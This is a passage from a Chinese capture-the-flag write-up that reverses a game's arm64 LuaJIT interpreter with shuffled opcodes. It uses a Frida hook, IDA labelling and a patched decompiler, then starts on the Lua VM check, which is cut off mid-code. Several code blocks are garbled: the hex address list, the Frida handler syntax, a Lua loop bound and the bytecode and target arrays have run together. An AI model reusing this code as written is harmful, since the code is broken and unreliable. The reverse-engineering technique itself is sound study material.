  ls.chunkarg = chunkname ? chunkname : "?";
  ls.mode = mode;
  lj_buf_init(L, &ls.sb);
  status = lj_vm_cpcall(L, NULL, &ls, cpparser);
  lj_lex_cleanup(L, &ls);
  lj_gc_check(L);
  return status;
}

不难发现,luaL_loadbuffer 内部在完成一些结构体的初始化工作后,实际通过 lj_vm_cpcall 函数来启动 LuaJIT 虚拟机,并且当前脚本运行结束后,会将状态码存放到局部变量 status 中。因此我们应该着重分析 lj_vm_cpcall

这里插一句题外话,LuaJIT 为了追求虚拟机性能,特意使用汇编来书写 vm 的核心功能,其中包括取指令、译码执行等部分,并针对不同的架构定制了对应的 dasc 文件。本题的 so 是 arm64 架构,因此接下来的分析将基于 vm_arm64.dasc 文件。

在 vm_arm64.dasc 第 526 行可以找到 lj_vm_cpcall 的实现:

  |->vm_cpcall:    // Setup protected C frame, call C.
  |  // (lua_State *L, lua_CFunction func, void *ud, lua_CPFunction cp)
  |  saveregs
  |  mov L, CARG1
  |   ldr RA, L:CARG1->stack
  |  str CARG1, SAVE_L
  |    ldr GL, L->glref   // Setup pointer to global state.
  |   ldr RB, L->top
  |  str CARG1, SAVE_PC   // Any value outside of bytecode is ok.
  |  ldr RC, L->cframe
  |   sub RA, RA, RB   // Compute -savestack(L, L->top).
  |   str RAw, SAVE_NRES  // Neg. delta means cframe w/o frame.
  |  str wzr, SAVE_ERRF   // No error function.
  |  str RC, SAVE_CFRAME
  |  str fp, L->cframe   // Add our C frame to cframe chain.
  |    str L, GL->cur_L
  |  blr CARG4   // (lua_State *L, lua_CFunction func, void *ud)
  |  mov BASE, CRET1
  |   mov PC, #FRAME_CP
  |  cbnz BASE, <3   // Else continue with the call.
  |  b ->vm_leave_cp   // No base? Just remove C frame.

其中有一句 ldr GL, L->glref 将 global_State 结构体地址赋值给 GL,GL 的定义如下,其实就是 x22 寄存器

|.define GLREG,  x22 // Global state.
...
|.type GL,  global_State, GLREG

接着程序正常执行,会通过 cbnz BASE, <3 跳转到前面的 标签 3 处:

  |3:  // Entry point for vm_cpcall/vm_resume (BASE = base, PC = ftype).
  |  str L, GL->cur_L
  |  ldp RB, CARG1, L->base  // RB = old base (for vmeta_call).
  |    movz TISNUM, #(LJ_TISNUM>>1)&0xffff, lsl #48
  |    movz TISNUMhi, #(LJ_TISNUM>>1)&0xffff, lsl #16
  |  add PC, PC, BASE
  |    movn TISNIL, #0
  |  sub PC, PC, RB   // PC = frame delta + frame type
  |   sub NARGS8:RC, CARG1, BASE
  |    st_vmstate ST_INTERP
  |
  |->vm_call_dispatch:
  |  // RB = old base, BASE = new base, RC = nargs*8, PC = caller PC
  |  ldr CARG3, [BASE, FRAME_FUNC]
  |  checkfunc CARG3, ->vmeta_call
  |
  |->vm_call_dispatch_f:
  |  ins_call

在设置好一些虚拟机将用到的寄存器初值后(PC 等),通过 ins_call 宏正式开始第一条指令的解释执行。该宏被声明在 214 行:

|.macro ins_call
|  // BASE = new base, CARG3 = LFUNC/CFUNC, RC = nargs*8, PC = caller PC
|  str PC, [BASE, FRAME_PC]
|  ins_callt
|.endmacro

其中 ins_callt 也是一个宏定义,将其展开得到:

|.macro ins_call
|  // BASE = new base, CARG3 = LFUNC/CFUNC, RC = nargs*8, PC = caller PC
|  str PC, [BASE, FRAME_PC]
|  ldr PC, LFUNC:CARG3->pc
|  ldr INSw, [PC], #4
|  add TMP1, GL, INS, uxtb #3
|   decode_RA RA, INS
|  ldr TMP0, [TMP1, #GG_G2DISP]
|   add RA, BASE, RA, lsl #3
|  br TMP0
|.endmacro

取指令部分主要通过 ldr INSw, [PC], #4 实现,PC 和 INSw 都定义在了文件头,分别是 x21 和 w16 寄存器。这句汇编的意思就是从 x21 指向的空间里取来 32 bits 存放到 x16 的低四字节,然后 x21 自增 4(指向下一条指令),由此也可以得知 LuaJIT 采用定长指令集,每条指令长度为 4 字节。

译码部分主要通过 decode_RA RA, INS 宏和 add RA, BASE, RA, lsl #3 来解析操作数(这个我们不关心),计算目标跳转地址的方式也终于在此处呈现:

add TMP1, GL, INS, uxtb #3
ldr TMP0, [TMP1, #GG_G2DISP]
br TMP0

这里的 TMP0 和 TMP1 分别是 x8 和 x9 寄存器,INS 就是 x16 寄存器。以上三条汇编可解释为:

  • • add TMP1, GL, INS, uxtb #3:将 x16 的最低字节(opcode)无符号扩展到 32 位(uxtb)后,左移 3 位(乘 8),再加上 x22 (GL)赋值给 x9,即 x9 = x22 + (((unsigned int)(x16 & 0xFF)) << 3)

  • • ldr TMP0, [TMP1, #GG_G2DISP]:从 x9 加上常数 #GG_G2DISP 后指向的地址空间里取出 8 字节放到 x8,此时的 x8 即为当前虚拟机指令的 opcode 所对应的处理例程地址

  • • br TMP0 跳转到处理例程去执行

其中 GG_G2DISP 定义在 lj_dispatch.h 中:

typedef struct GG_State {
  ...
  global_State g;   /* Global state. */
  ...
  ASMFunction dispatch[GG_LEN_DISP]; /* Instruction dispatch tables. */
  ...
} GG_State;

#define GG_OFS(field) ((int)offsetof(GG_State, field))
#define GG_G2DISP (GG_OFS(dispatch) - GG_OFS(g))

即 GG_State 结构体的 g 字段与 dispatch 字段的地址差值,该值可在 IDA 中查看,为 0xF30:

GG_G2DISP

因此,我们可以换一种顺序来理解上面的三条汇编。首先通过 GL 寄存器(x22)加上 0xF30 找到 dispatch 数组,该数组中每一项都是一个处理例程的指针(8 字节),元素的下标即为该处理例程对应的 opcode,在此基础上加上 opcode * 8 就能找到当前 opcode 的处理例程了。

另外,从 lj_bc.h 的 71 ~ 197 行我们可以得知 2.1.0-beta3 版的 LuaJIT 具有 97 种 opcode:

#define BCDEF(_) \
  /* Comparison ops. ORDER OPR. */ \
  _(ISLT, var, ___, var, lt) \
  _(ISGE, var, ___, var, lt) \
  _(ISLE, var, ___, var, le) \
  _(ISGT, var, ___, var, le) \
  \
  _(ISEQV, var, ___, var, eq) \
  _(ISNEV, var, ___, var, eq) \
  ...  // 篇幅原因,此处省略

根据上述分析,我们可以编写 hook 脚本来读取这些处理例程在 so 中的地址:

var output = false;
var lib_base = Module.findBaseAddress("libgame.so");

Interceptor.attach(lib_base.add(0xACFEF0), {
    onEnterfunction(args) {
        if (!output) {
            var GL = this.context.x22;
            var dispatch = GL.add(0xF30);
            for (var i = 0; i < 97; ++i) {
                var prog_ptr = dispatch.add(i * 8).readPointer();
                console.log(prog_ptr.sub(lib_base));
            }
            output = true;
        }
    },
    onLeavefunction(retval) {}
})

得到全部 97 种 opcode 的处理例程地址:

0xacdaf0
0xacdb70
0xacdbf0
0xacdc70
0xacdcf0
0xacdd74
0xacddf4
0xacde44
0xacde94
0xacdf20
0xacdfac
0xacdff0
0xace034
0xace060
0xace08c
0xace0b0
0xace0d0
0xace0f0
0xace120
0xace160
0xace1a0
0xace1d8
0xace210
0xace234
0xace258
0xace278
0xace2a8
0xace2ec
0xace334
0xace348
0xace3f0
0xace458
0xace4c8
0xace534
0xace5a0
0xace614
0xace65c
0xace6d0
0xace73c
0xace7a8
0xace81c
0xace864
0xace8d8
0xace944
0xace9b0
0xacea24
0xacea6c
0xaceae0
0xaceb28
0xaceb74
0xaceba8
0xacec18
0xacec80
0xacecb4
0xacece8
0xaced24
0xaced6c
0xacedcc
0xacee20
0xacee38
0xacee50
0xaceedc
0xacef70
0xacefdc
0xacf024
0xacf0d4
0xacf1d0
0xacf260
0xacf2f4
0xacf35c
0xacf36c
0xacf3b4
0xacf3c0
0xacf47c
0xacf4cc
0xacf570
0xacf62c
0xacf6a4
0xacf734
0xacf7d0
0xacf7ec
0xacf878
0xacf8fc
0xacf918
0xacf94c
0xacf97c
0xacf998
0xacf9b0
0xacf9d4
0xacf9f4
0xacfa10
0xacfa50
0xacfa80
0xacfa80
0xacfb04
0xacfb08
0xacfb50

接下来就是一个比较枯燥的过程了,我们需要对照源码 vm_arm64.dasc 在 IDA 中手动标识出上方 97 个地址所对应的 opcode(暂时没有想到自动化的标注方法,如果你有想法,欢迎交流)。具体的做法是从第一个地址开始,在源码的 build_ins 函数里找到汇编代码一致的 case,而后修改函数名为 opcode 名称。

这里以第二个地址为例,在 IDA 中可以看到一条 CSEL 汇编指令:

BC_ISGE_ida

对应到源码:

BC_ISGE_ida

所以该函数为 BC_ISGE 的处理例程,同时在 IDA 中修改函数名为 BC_ISGE。以此类推,手动修改其余 96 个函数的名称。此过程中应注意源码各个 case 的判断条件并主动展开部分宏定义,IDA 没有识别出来的例程应自行新建函数。最终的部分修改结果展示如下:

func_name_modified

这样我们就将 opcode 的顺序找到了,下一步就该对之前 dump 下来的 luac64 文件进行反编译了。

反编译 luac64 文件

在 Github 上可以找到很多用于反编译 LuaJIT 字节码的工具,但是它们中的大多数对于 64 位 LuaJIT 的支持不是很好,普遍缺乏对于 2-slot frame info 模式的适配,在解析函数调用语句时会发生参数错位等的情况。

经过一系列尝试之后,我发现 luajit-decompiler(https://github.com/Dr-MTN/luajit-decompiler) 项目的反编译效果较为优秀,我们只需要在其基础上修改部分代码使其适配新 opcode 顺序即可。

首先将项目代码 clone 下来,修改 ljd/rawdump/luajit/v2_1/luajit_opcode.py 中对于 _OPCODES 变量的赋值。借助上一个板块的分析结果和 IDAPython 脚本进行格式化输出:

# run in IDA
addrs = [
    0xacdaf00xacdb700xacdbf00xacdc700xacdcf0,
    0xacdd740xacddf40xacde440xacde940xacdf20,
    0xacdfac0xacdff00xace0340xace0600xace08c,
    0xace0b00xace0d00xace0f00xace1200xace160,
    0xace1a00xace1d80xace2100xace2340xace258,
    0xace2780xace2a80xace2ec0xace3340xace348,
    0xace3f00xace4580xace4c80xace5340xace5a0,
    0xace6140xace65c0xace6d00xace73c0xace7a8,
    0xace81c0xace8640xace8d80xace9440xace9b0,
    0xacea240xacea6c0xaceae00xaceb280xaceb74,
    0xaceba80xacec180xacec800xacecb40xacece8,
    0xaced240xaced6c0xacedcc0xacee200xacee38,
    0xacee500xaceedc0xacef700xacefdc0xacf024,
    0xacf0d40xacf1d00xacf2600xacf2f40xacf35c,
    0xacf36c0xacf3b40xacf3c00xacf47c0xacf4cc,
    0xacf5700xacf62c0xacf6a40xacf7340xacf7d0,
    0xacf7ec0xacf8780xacf8fc0xacf9180xacf94c,
    0xacf97c0xacf9980xacf9b00xacf9d40xacf9f4,
    0xacfa100xacfa500xacfa800xacfa800xacfb04,
    0xacfb080xacfb50
]

for opcode in range(97):
    if opcode == 0x5C:
        bc_name = "FUNCV"
    else:
        bc_name = get_name(addrs[opcode])[3:]
    print(f"\t({hex(opcode)}, instructions.{bc_name}){',' if opcode < 96 else ''}")

这里需要注意,从 addrs 数组中我们也可以发现,opcode 为 0x5C 和 0x5D 的处理例程地址相同。通过排除法,可以确定这两项只能是 BC_FUNCV 和 BC_IFUNCV,我们这里就暂时规定 0x5C 为 BC_FUNCV,0x5D 为 BC_IFUNCV。如果后续反编译过程出错,再调换二者的顺序。

运行后得到如下输出:

    (0x0, instructions.ISLT),
    (0x1, instructions.ISGE),
    (0x2, instructions.ISLE),
    (0x3, instructions.ISGT),
    (0x4, instructions.ISEQV),
    (0x5, instructions.ISNEV),
    (0x6, instructions.ISEQS),
    (0x7, instructions.ISNES),
    (0x8, instructions.ISEQN),
    (0x9, instructions.ISNEN),
    (0xa, instructions.ISEQP),
    (0xb, instructions.ISNEP),
    (0xc, instructions.KSTR),
    (0xd, instructions.KCDATA),
    (0xe, instructions.KSHORT),
    (0xf, instructions.KNUM),
    (0x10, instructions.KPRI),
    (0x11, instructions.KNIL),
    (0x12, instructions.ISTC),
    (0x13, instructions.ISFC),
    (0x14, instructions.IST),
    (0x15, instructions.ISF),
    (0x16, instructions.ISTYPE),
    (0x17, instructions.ISNUM),
    (0x18, instructions.MOV),
    (0x19, instructions.NOT),
    (0x1a, instructions.UNM),
    (0x1b, instructions.LEN),
    (0x1c, instructions.RETM),
    (0x1d, instructions.RET),
    (0x1e, instructions.RET0),
    (0x1f, instructions.RET1),
    (0x20, instructions.ADDVN),
    (0x21, instructions.SUBVN),
    (0x22, instructions.MULVN),
    (0x23, instructions.DIVVN),
    (0x24, instructions.MODVN),
    (0x25, instructions.ADDNV),
    (0x26, instructions.SUBNV),
    (0x27, instructions.MULNV),
    (0x28, instructions.DIVNV),
    (0x29, instructions.MODNV),
    (0x2a, instructions.ADDVV),
    (0x2b, instructions.SUBVV),
    (0x2c, instructions.MULVV),
    (0x2d, instructions.DIVVV),
    (0x2e, instructions.MODVV),
    (0x2f, instructions.POW),
    (0x30, instructions.CAT),
    (0x31, instructions.UGET),
    (0x32, instructions.USETV),
    (0x33, instructions.USETS),
    (0x34, instructions.USETN),
    (0x35, instructions.USETP),
    (0x36, instructions.UCLO),
    (0x37, instructions.FNEW),
    (0x38, instructions.TNEW),
    (0x39, instructions.TDUP),
    (0x3a, instructions.GGET),
    (0x3b, instructions.GSET),
    (0x3c, instructions.TGETV),
    (0x3d, instructions.TGETS),
    (0x3e, instructions.TGETB),
    (0x3f, instructions.TGETR),
    (0x40, instructions.TSETV),
    (0x41, instructions.TSETS),
    (0x42, instructions.TSETB),
    (0x43, instructions.TSETM),
    (0x44, instructions.TSETR),
    (0x45, instructions.CALLM),
    (0x46, instructions.CALL),
    (0x47, instructions.CALLMT),
    (0x48, instructions.CALLT),
    (0x49, instructions.ITERC),
    (0x4a, instructions.ITERN),
    (0x4b, instructions.VARG),
    (0x4c, instructions.ISNEXT),
    (0x4d, instructions.FORI),
    (0x4e, instructions.JFORI),
    (0x4f, instructions.FORL),
    (0x50, instructions.IFORL),
    (0x51, instructions.JFORL),
    (0x52, instructions.ITERL),
    (0x53, instructions.IITERL),
    (0x54, instructions.JITERL),
    (0x55, instructions.LOOP),
    (0x56, instructions.ILOOP),
    (0x57, instructions.JLOOP),
    (0x58, instructions.JMP),
    (0x59, instructions.FUNCF),
    (0x5a, instructions.IFUNCF),
    (0x5b, instructions.JFUNCF),
    (0x5c, instructions.FUNCV),
    (0x5d, instructions.IFUNCV),
    (0x5e, instructions.JFUNCV),
    (0x5f, instructions.FUNCC),
    (0x60, instructions.FUNCCW)

将其覆盖到 _OPCODES 元组完成第一处修改。

第二处修改在 ljd/bytecode/instructions.py,我们需要修正从第 97 行开始的对于每条指令的定义顺序:

ISLT = _IDef("ISLT",   T_VAR,  None,  T_VAR,  "if {A} < {D}")
ISGE = _IDef("ISGE",   T_VAR,  None,  T_VAR,  "if {A} >= {D}")
ISLE = _IDef("ISLE",   T_VAR,  None,  T_VAR,  "if {A} <= {D}")
ISGT = _IDef("ISGT",   T_VAR,  None,  T_VAR,  "if {A} > {D}")

ISEQV = _IDef("ISEQV",   T_VAR,  None,  T_VAR,  "if {A} == {D}")
ISNEV = _IDef("ISNEV",   T_VAR,  None,  T_VAR,  "if {A} ~= {D}")

ISEQS = _IDef("ISEQS",   T_VAR,  None,  T_STR,  "if {A} == {D}")
ISNES = _IDef("ISNES",   T_VAR,  None,  T_STR,  "if {A} ~= {D}")

ISEQN = _IDef("ISEQN",   T_VAR,  None,  T_NUM,  "if {A} == {D}")
ISNEN = _IDef("ISNEN",   T_VAR,  None,  T_NUM,  "if {A} ~= {D}")

ISEQP = _IDef("ISEQP",   T_VAR,  None,  T_PRI,  "if {A} == {D}")
ISNEP = _IDef("ISNEP",   T_VAR,  None,  T_PRI,  "if {A} ~= {D}")

# Constant ops.

KSTR = _IDef("KSTR",   T_DST,  None,  T_STR,  "{A} = {D}")
KCDATA = _IDef("KCDATA",  T_DST,  None,  T_CDT,  "{A} = {D}")
KSHORT = _IDef("KSHORT",  T_DST,  None,  T_SLIT, "{A} = {D}")
KNUM = _IDef("KNUM",   T_DST,  None,  T_NUM,  "{A} = {D}")
KPRI = _IDef("KPRI",   T_DST,  None,  T_PRI,  "{A} = {D}")

KNIL = _IDef("KNIL",   T_BS,  None,  T_BS,  "{from_A_to_D} = nil")

# Unary test and copy ops

ISTC = _IDef("ISTC",   T_DST,  None,  T_VAR,  "{A} = {D}; if {D}")
ISFC = _IDef("ISFC",   T_DST,  None,  T_VAR,  "{A} = {D}; if not {D}")

IST = _IDef("IST",   None,  None,  T_VAR,  "if {D}")
ISF = _IDef("ISF",   None,  None,  T_VAR,  "if not {D}")

ISTYPE = _IDef("ISTYPE",  T_VAR,  None,  T_LIT,  "ISTYPE unknow")
ISNUM = _IDef("ISNUM",   T_VAR,  None,  T_LIT,  "ISNUM unknow")
# Unary ops

MOV = _IDef("MOV",   T_DST,  None,  T_VAR,  "{A} = {D}")
NOT = _IDef("NOT",   T_DST,  None,  T_VAR,  "{A} = not {D}")
UNM = _IDef("UNM",   T_DST,  None,  T_VAR,  "{A} = -{D}")
LEN = _IDef("LEN",   T_DST,  None,  T_VAR,  "{A} = #{D}")

# Returns.

RETM = _IDef("RETM",   T_BS,  None,  T_LIT,
        "return {from_A_x_D_minus_one}, ...MULTRES")

RET = _IDef("RET",    T_RBS,  None,  T_LIT,
        "return {from_A_x_D_minus_two}")

RET0 = _IDef("RET0",   T_RBS,  None,  T_LIT,  "return")
RET1 = _IDef("RET1",   T_RBS,  None,  T_LIT,  "return {A}")

# Binary ops

ADDVN = _IDef("ADDVN",   T_DST,  T_VAR,  T_NUM,  "{A} = {B} + {C}")
SUBVN = _IDef("SUBVN",   T_DST,  T_VAR,  T_NUM,  "{A} = {B} - {C}")
MULVN = _IDef("MULVN",   T_DST,  T_VAR,  T_NUM,  "{A} = {B} * {C}")
DIVVN = _IDef("DIVVN",   T_DST,  T_VAR,  T_NUM,  "{A} = {B} / {C}")
MODVN = _IDef("MODVN",   T_DST,  T_VAR,  T_NUM,  "{A} = {B} % {C}")

ADDNV = _IDef("ADDNV",   T_DST,  T_VAR,  T_NUM,  "{A} = {C} + {B}")
SUBNV = _IDef("SUBNV",   T_DST,  T_VAR,  T_NUM,  "{A} = {C} - {B}")
MULNV = _IDef("MULNV",   T_DST,  T_VAR,  T_NUM,  "{A} = {C} * {B}")
DIVNV = _IDef("DIVNV",   T_DST,  T_VAR,  T_NUM,  "{A} = {C} / {B}")
MODNV = _IDef("MODNV",   T_DST,  T_VAR,  T_NUM,  "{A} = {C} % {B}")

ADDVV = _IDef("ADDVV",   T_DST,  T_VAR,  T_VAR,  "{A} = {B} + {C}")
SUBVV = _IDef("SUBVV",   T_DST,  T_VAR,  T_VAR,  "{A} = {B} - {C}")
MULVV = _IDef("MULVV",   T_DST,  T_VAR,  T_VAR,  "{A} = {B} * {C}")
DIVVV = _IDef("DIVVV",   T_DST,  T_VAR,  T_VAR,  "{A} = {B} / {C}")
MODVV = _IDef("MODVV",   T_DST,  T_VAR,  T_VAR,  "{A} = {B} % {C}")

POW = _IDef("POW",   T_DST,  T_VAR,  T_VAR,  "{A} = {B} ^ {C} (pow)")
CAT = _IDef("CAT",   T_DST,  T_RBS,  T_RBS,
        "{A} = {concat_from_B_to_C}")

# Upvalue and function ops.

UGET = _IDef("UGET",   T_DST,  None,  T_UV,  "{A} = {D}")

USETV = _IDef("USETV",   T_UV,  None,  T_VAR,  "{A} = {D}")
USETS = _IDef("USETS",   T_UV,  None,  T_STR,  "{A} = {D}")
USETN = _IDef("USETN",   T_UV,  None,  T_NUM,  "{A} = {D}")
USETP = _IDef("USETP",   T_UV,  None,  T_PRI,  "{A} = {D}")

UCLO = _IDef("UCLO",   T_RBS,  None,  T_JMP,
        "nil uvs >= {A}; goto {D}")

FNEW = _IDef("FNEW",   T_DST,  None,  T_FUN,  "{A} = function {D}")

# Table ops.

TNEW = _IDef("TNEW",   T_DST,  None,  T_LIT,  "{A} = new table("
                            " array: {D_array},"
                            " dict: {D_dict})")

TDUP = _IDef("TDUP",   T_DST,  None,  T_TAB,  "{A} = copy {D}")

GGET = _IDef("GGET",   T_DST,  None,  T_STR,  "{A} = _env[{D}]")
GSET = _IDef("GSET",   T_VAR,  None,  T_STR,  "_env[{D}] = {A}")

TGETV = _IDef("TGETV",   T_DST,  T_VAR,  T_VAR,  "{A} = {B}[{C}]")
TGETS = _IDef("TGETS",   T_DST,  T_VAR,  T_STR,  "{A} = {B}.{C}")
TGETB = _IDef("TGETB",   T_DST,  T_VAR,  T_LIT,  "{A} = {B}[{C}]")
TGETR = _IDef("TGETR",   T_DST,  T_VAR,  T_VAR,  "unkown TGETR")

TSETV = _IDef("TSETV",   T_VAR,  T_VAR,  T_VAR,  "{B}[{C}] = {A}")
TSETS = _IDef("TSETS",   T_VAR,  T_VAR,  T_STR,  "{B}.{C} = {A}")
TSETB = _IDef("TSETB",   T_VAR,  T_VAR,  T_LIT,  "{B}[{C}] = {A}")

TSETM = _IDef("TSETM",    T_BS,  None,  T_NUM,
        "for i = 0, MULTRES, 1 do"
        " {A_minus_one}[{D_low} + i] = slot({A} + i)")

TSETR = _IDef("TSETR",   T_VAR,  T_VAR,  T_VAR,  "unkow TSETR")
# Calls and vararg handling. T = tail call.

CALLM = _IDef("CALLM",   T_BS,  T_LIT,  T_LIT,
        "{from_A_x_B_minus_two} = {A}({from_A_plus_one_x_C}, ...MULTRES)")

CALL = _IDef("CALL",   T_BS,  T_LIT,  T_LIT,
        "{from_A_x_B_minus_two} = {A}({from_A_plus_one_x_C_minus_one})")

CALLMT = _IDef("CALLMT",  T_BS,  None,  T_LIT,
        "return {A}({from_A_plus_one_x_D}, ...MULTRES)")

CALLT = _IDef("CALLT",   T_BS,  None,  T_LIT,
        "return {A}({from_A_plus_one_x_D_minus_one})")

ITERC = _IDef("ITERC",   T_BS,  T_LIT,  T_LIT,
        "{A}, {A_plus_one}, {A_plus_two} ="
            " {A_minus_three}, {A_minus_two}, {A_minus_one};"
        " {from_A_x_B_minus_two} ="
            " {A_minus_three}({A_minus_two}, {A_minus_one})")

ITERN = _IDef("ITERN",   T_BS,  T_LIT,  T_LIT,
        "{A}, {A_plus_one}, {A_plus_two} ="
            " {A_minus_three}, {A_minus_two}, {A_minus_one};"
        " {from_A_x_B_minus_two} ="
            " {A_minus_three}({A_minus_two}, {A_minus_one})")

VARG = _IDef("VARG",   T_BS,  T_LIT,  T_LIT,
        "{from_A_x_B_minus_two} = ...")

ISNEXT = _IDef("ISNEXT",   T_BS,  None,  T_JMP,
        "Verify ITERN at {D}; goto {D}")

# Loops and branches. I/J = interp/JIT, I/C/L = init/call/loop.

FORI = _IDef("FORI",   T_BS,  None,  T_JMP,
        "for {A_plus_three} = {A},{A_plus_one},{A_plus_two}"
        " else goto {D}")

JFORI = _IDef("JFORI",   T_BS,  None,  T_JMP,
        "for {A_plus_three} = {A},{A_plus_one},{A_plus_two}"
        " else goto {D}")

FORL = _IDef("FORL",   T_BS,  None,  T_JMP,
        "{A} = {A} + {A_plus_two};"
        " if cmp({A}, sign {A_plus_two},  {A_plus_one}) goto {D}")

IFORL = _IDef("IFORL",    T_BS,  None,  T_JMP,
        "{A} = {A} + {A_plus_two};"
        " if cmp({A}, sign {A_plus_two}, {A_plus_one}) goto {D}")

JFORL = _IDef("JFORL",   T_BS,  None,  T_JMP,
        "{A} = {A} + {A_plus_two};"
        " if cmp({A}, sign {A_plus_two}, {A_plus_one}) goto {D}")

ITERL = _IDef("ITERL",   T_BS,  None,  T_JMP,
        "{A_minus_one} = {A}; if {A} != nil goto {D}")

IITERL = _IDef("IITERL",  T_BS,  None,  T_JMP,
        "{A_minus_one} = {A}; if {A} != nil goto {D}")

JITERL = _IDef("JITERL",  T_BS,  None,  T_LIT,
        "{A_minus_one} = {A}; if {A} != nil goto {D}")

LOOP = _IDef("LOOP",   T_RBS,  None,  T_JMP,  "Noop")
ILOOP = _IDef("ILOOP",   T_RBS,  None,  T_JMP,  "Noop")
JLOOP = _IDef("JLOOP",   T_RBS,  None,  T_LIT,  "Noop")

JMP = _IDef("JMP",   T_RBS,  None,  T_JMP,  " goto {D}")

# Function headers. I/J = interp/JIT, F/V/C = fixarg/vararg/C func.
# Shouldn't be ever seen - they are not stored in raw dump?

FUNCF = _IDef("FUNCF",   T_RBS,  None,  None,
        "Fixed-arg function with frame size {A}")

IFUNCF = _IDef("IFUNCF",  T_RBS,  None,  None,
        "Interpreted fixed-arg function with frame size {A}")

JFUNCF = _IDef("JFUNCF",  T_RBS,  None,  T_LIT,
        "JIT compiled fixed-arg function with frame size {A}")

FUNCV = _IDef("FUNCV",   T_RBS,  None,  None,
        "Var-arg function with frame size {A}")

IFUNCV = _IDef("IFUNCV",  T_RBS,  None,  None,
        "Interpreted var-arg function with frame size {A}")

JFUNCV = _IDef("JFUNCV",  T_RBS,  None,  T_LIT,
        "JIT compiled var-arg function with frame size {A}")

FUNCC = _IDef("FUNCC",   T_RBS,  None,  None,
        "C function with frame size {A}")
FUNCCW = _IDef("FUNCCW",  T_RBS,  None,  None,
        "Wrapped C function with frame size {A}")

UNKNW = _IDef("UNKNW",   T_LIT,  T_LIT,  T_LIT, "Unknown instruction")

第三处修改在 ljd/ast/builder.py,按照如下方式修改,使得每种指令都落在正确的解析区域中:

diff -urNa ljd-old/ast/builder.py ljd-new/ast/builder.py
--- ljd-old/ast/builder.py 2020-05-09 03:43:27.000000000 -0700
+++ ljd-new/ast/builder.py 2022-09-20 02:04:53.955771000 -0700
@@ -276,7 +276,7 @@
     last = instructions[-1]
     opcode = 256 if len(instructions) == 1 else instructions[-2].opcode
 
-    if opcode <= ins.ISF.opcode:
+    if opcode in (ins.ISLT.opcode, ins.ISGE.opcode, ins.ISLE.opcode, ins.ISGT.opcode, ins.ISEQV.opcode, ins.ISNEV.opcode, ins.ISEQS.opcode, ins.ISNES.opcode, ins.ISEQN.opcode, ins.ISNEN.opcode, ins.ISEQP.opcode, ins.ISNEP.opcode, ins.ISTC.opcode, ins.ISFC.opcode, ins.IST.opcode, ins.ISF.opcode):
         assert last.opcode != ins.ISNEXT.opcode
         return _build_conditional_warp(state, last_addr, instructions)
     else:
@@ -507,7 +507,7 @@
         expression = _build_unary_expression(state, addr, instruction)
 
     # Binary assignment operators (A = B op C)
-    elif opcode <= ins.POW.opcode:
+    elif ins.ADDVN.opcode <= opcode <= ins.POW.opcode:
         expression = _build_binary_expression(state, addr, instruction)
 
     # Concat assignment type (A = B .. B + 1 .. ... .. C - 1 .. C)
@@ -515,7 +515,7 @@
         expression = _build_concat_expression(state, addr, instruction)
 
     # Constant assignment operators except KNIL, which is weird anyway
-    elif opcode <= ins.KPRI.opcode:
+    elif ins.KSTR.opcode <= opcode <= ins.KPRI.opcode:
         expression = _build_const_expression(state, addr, instruction)
 
     elif opcode == ins.UGET.opcode:
@@ -524,7 +524,7 @@
     elif opcode == ins.USETV.opcode:
         expression = _build_slot(state, addr, instruction.CD)
 
-    elif opcode <= ins.USETP.opcode:
+    elif ins.USETS.opcode <= opcode <= ins.USETP.opcode:
         expression = _build_const_expression(state, addr, instruction)
 
     elif opcode == ins.FNEW.opcode:

在项目根目录运行 python main.py -f <script_name>.luac64 > <script_name>.lua 可以得到单个文件的反编译结果,也可以通过 -r 选项指定目录批量反编译。另外,-d 选项用于指定输出目录,-e 选项用于指定文件后缀。

代码分析

首先通过逆向思维来找到核心验证代码,在 GameScene.lua 的 collisionH 函数中可以找到游戏胜利的判断语句:

winning_condition

即当碰撞到板栗仔时,主角的身体类型应该是 NORMAL 状态(初始状态为 SMALL)。在 collisionV 函数中可以找到修改主角 bodyType 属性的调用:

change_body_type

不过需要主角吃到蘑菇才能被调用。在 GameMap.lua 中,可以找到 isMarioEatMushroom 的定义,其紧挨着的上一个函数是 showNewMushroom,看名字应该是用于生成蘑菇的。查找一下 showNewMushroom 的引用,可以发现它在 breakBrick 中被调用:

check_trigger

上图中框起来的部分就是触发输入校验的逻辑,它将所有普通方块上的字符拼接成长度为 32 的字符串,存放在变量 slot5 中。这里反编译结果存在一些偏差,应该是下面这样才对:

slot5 = ""
for slot9 = 031 do
    slot5 = slot5 .. slot0.labelList["input" .. tostring(slot9)]:getString()
end

不过我们大致能猜到它的意思,拼接好后传递给 Util.lua 文件的 create 函数,得到一个 Util 模块实例 slot6。接着调用 OoO 函数和 oOo 函数,如果后者返回 true,则显示蘑菇。

所以问题简化成了如何令 Util.oOo 返回 true,这要求我们着重分析 Util.lua 文件。从现在开始,这道题就变成一道常规逆向题,还是给了源码的那种,稍微还原一下符号就能发现它是一个小型虚拟机。这里需要注意,除了 create 函数外,其他函数的第一个参数(slot0)都相当于 self,你可以简单理解为类静态函数和类成员函数的区别。

这里就不过多地去分析虚拟机的实现了。下面将 Util.lua 的源码奉上:

local Util=class("Util",function ()
    return cc.Node:create()
end)

Util.slot = {{}, {}, nilnilnilnil}

function Util:ctor()
end

function Util.create(input)
    local util=Util.new()
    local target={ 94106911108610082203220802183107889881197910491176812061137511548876123 }
    util.slot[1]={ 6530371050037113610113410661049050191371050137113610113310661049150192371050237113610113410661049250193371050337113610113310661049350194371050437113610113410661049450195371050537113610113310661049550196371050637113610113410661049650197371050737113610113310661049750198371050837113610113410661049850199371050937113610113310661049950200371050103711361011341066104910502013710501137113610113310661049115020237105012371136101134106610491250203371050133711361011331066104913502043710501437113610113410661049145020537105015371136101133106610491550206371050163711361011341066104916502073710501737113610113310661049175020837105018371136101134106610491850209371050193711361011331066104919502103710502037113610113410661049205021137105021371136101133106610492150212371050223711361011341066104922502133710502337113610113310661049235021437105024371136101134106610492450215371050253711361011331066104925502163710502637113610113410661049265021737105027371136101133106610492750218371050283711361011341066104928502193710502937113610113310661049295022037105030371136101134106610493050221371050313711361011341066104931144144144144 }
    for i=1,256 do
        util.slot[2][i]=0
    end
    for i=33,65 do
        util.slot[2][i]=string.byte(input, i-32)
        util.slot[2][i+96]=target[i-32]
    end
    util.slot[3] = 0
    util.slot[4] = 0
    util.slot[5] = 1
    util.slot[6] = 0
    return util
end

function Util:OoO()
    while (true)
    do
        opcode=self.slot[1][self.slot[5]]
        if opcode==0x11 then
